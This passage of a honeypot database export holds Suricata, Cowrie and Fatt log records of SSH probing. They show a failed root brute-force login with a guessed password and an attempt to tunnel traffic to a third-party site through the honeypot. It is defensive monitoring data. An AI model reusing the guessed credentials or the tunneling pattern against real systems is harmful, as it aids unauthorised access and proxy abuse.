30030	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:51.414915+03	2021-09-20 14:45:02.484142+03	{"_id": "0Qb6AnwBvYTbRNuEAzml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:51.414915Z", "@timestamp": "2021-09-20T11:31:51.414Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30031	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:31:52.422099+03	2021-09-20 14:45:02.485142+03	{"_id": "3Ab6AnwBvYTbRNuEBzmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "flow_id": 888523257755039, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:31:52.422099Z", "@timestamp": "2021-09-20T11:31:52.422Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30033	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:31:52.422227+03	2021-09-20 14:45:02.488143+03	{"_id": "4Qb6AnwBvYTbRNuECDmr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:31:52.422227", "@timestamp": "2021-09-20T11:31:52.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30034	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:48.423551+03	2021-09-20 14:45:02.489142+03	{"_id": "wgb5AnwBvYTbRNuE9znr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 14, "bytes_toclient": 0, "bytes_toserver": 1400}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:48.423551Z", "@timestamp": "2021-09-20T11:31:48.423Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30035	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:48.542627+03	2021-09-20 14:45:02.490142+03	{"_id": "wwb5AnwBvYTbRNuE-jks", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3456erty] failed", "session": "8b6a4126fda7", "@version": "1", "password": "3456erty", "username": "root", "timestamp": "2021-09-20T11:31:48.542627Z", "@timestamp": "2021-09-20T11:31:48.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30036	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:48.905553+03	2021-09-20 14:45:02.491141+03	{"_id": "xAb5AnwBvYTbRNuE-znT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 16, "bytes_toclient": 0, "bytes_toserver": 1580}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:48.905553Z", "@timestamp": "2021-09-20T11:31:48.905Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30037	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:49.806592+03	2021-09-20 14:45:02.492142+03	{"_id": "xQb5AnwBvYTbRNuE_jkV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "8b6a4126fda7", "@version": "1", "duration": 5.457751989364624, "timestamp": "2021-09-20T11:31:49.806592Z", "@timestamp": "2021-09-20T11:31:49.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30038	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:50.422829+03	2021-09-20 14:45:02.493142+03	{"_id": "xwb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.422829Z", "@timestamp": "2021-09-20T11:31:50.422Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30039	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.420531+03	2021-09-20 14:45:02.495142+03	{"_id": "zgb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 17, "bytes_toclient": 0, "bytes_toserver": 1670}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.420531Z", "@timestamp": "2021-09-20T11:31:50.420Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30040	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:50.907635+03	2021-09-20 14:45:02.496143+03	{"_id": "1Ab6AnwBvYTbRNuEAzml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.907635Z", "@timestamp": "2021-09-20T11:31:50.907Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30041	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:31:50.936068+03	2021-09-20 14:45:02.497141+03	{"_id": "0wb6AnwBvYTbRNuEAzml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.936068Z", "@timestamp": "2021-09-20T11:31:50.936Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30042	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:31:52.422837+03	2021-09-20 14:45:02.498142+03	{"_id": "4gb6AnwBvYTbRNuECTnO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "818d17c12765", "@version": "1", "timestamp": "2021-09-20T11:31:52.422837Z", "@timestamp": "2021-09-20T11:31:52.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30043	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:48.424115+03	2021-09-20 14:45:02.500141+03	{"_id": "wQb5AnwBvYTbRNuE9znq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 15, "bytes_toclient": 0, "bytes_toserver": 1490}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:48.424115Z", "@timestamp": "2021-09-20T11:31:48.424Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30044	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:31:58.732955+03	2021-09-20 14:45:02.501143+03	{"_id": "_wb6AnwBvYTbRNuEHzkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 471866333351812, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42464, "dest_port": 22, "timestamp": "2021-09-20T11:31:58.732955Z", "@timestamp": "2021-09-20T11:31:58.732Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30045	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:58.670202+03	2021-09-20 14:45:02.503143+03	{"_id": "CAb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:42464 (192.168.176.2:22) [session: c3ad0caccd69]", "session": "c3ad0caccd69", "@version": "1", "protocol": "ssh", "src_port": 42464, "dest_port": 22, "timestamp": "2021-09-20T11:31:58.670202Z", "@timestamp": "2021-09-20T11:31:58.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30046	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:59.012809+03	2021-09-20 14:45:02.504142+03	{"_id": "CQb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to www.evernote.com:443 from 0.0.0.0:0", "session": "c3ad0caccd69", "@version": "1", "src_port": 0, "dest_port": 443, "timestamp": "2021-09-20T11:31:59.012809Z", "@timestamp": "2021-09-20T11:31:59.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30047	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:59.111726+03	2021-09-20 14:45:02.505142+03	{"_id": "Cgb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHq(\\\\xc7~5\\\\xae\\\\x81\\\\xc1;\\\\x17\\\\xe1\\\\x18\\\\xb2\\\\xc9.\\\\x88\\\\xbbCs\\\\xc7FX\\\\x1c\\\\x19\\\\xbd\\\\x03\\\\r\\\\xc4\\\\xf6\\\\x86\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "www.evernote.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to www.evernote.com:443 with data b\\"\\\\x16\\\\x03\\\\x03\\\\x00\\\\xaf\\\\x01\\\\x00\\\\x00\\\\xab\\\\x03\\\\x03aHq(\\\\xc7~5\\\\xae\\\\x81\\\\xc1;\\\\x17\\\\xe1\\\\x18\\\\xb2\\\\xc9.\\\\x88\\\\xbbCs\\\\xc7FX\\\\x1c\\\\x19\\\\xbd\\\\x03\\\\r\\\\xc4\\\\xf6\\\\x86\\\\x00\\\\x004\\\\xc0(\\\\xc0'\\\\xc0\\\\x14\\\\xc0\\\\x13\\\\x00\\\\x9f\\\\x00\\\\x9e\\\\x009\\\\x003\\\\x00\\\\x9d\\\\x00\\\\x9c\\\\x00=\\\\x00<\\\\x005\\\\x00/\\\\xc0,\\\\xc0+\\\\xc0$\\\\xc0#\\\\xc0\\\\n\\\\xc0\\\\t\\\\x00j\\\\x00@\\\\x008\\\\x002\\\\x00\\\\n\\\\x00\\\\x13\\\\x01\\\\x00\\\\x00N\\\\x00\\\\x00\\\\x00\\\\x15\\\\x00\\\\x13\\\\x00\\\\x00\\\\x10www.evernote.com\\\\x00\\\\n\\\\x00\\\\x06\\\\x00\\\\x04\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00\\\\r\\\\x00\\\\x14\\\\x00\\\\x12\\\\x06\\\\x01\\\\x06\\\\x03\\\\x04\\\\x01\\\\x05\\\\x01\\\\x02\\\\x01\\\\x04\\\\x03\\\\x05\\\\x03\\\\x02\\\\x03\\\\x02\\\\x02\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\"", "session": "c3ad0caccd69", "@version": "1", "dest_port": 443, "timestamp": "2021-09-20T11:31:59.111726Z", "@timestamp": "2021-09-20T11:31:59.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
30048	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:58.673143+03	2021-09-20 14:45:02.506142+03	{"_id": "Cwb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "c3ad0caccd69", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:31:58.673143Z", "@timestamp": "2021-09-20T11:31:58.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30049	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:31:58.734025+03	2021-09-20 14:45:02.507141+03	{"_id": "DAb6AnwBvYTbRNuEITpF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": 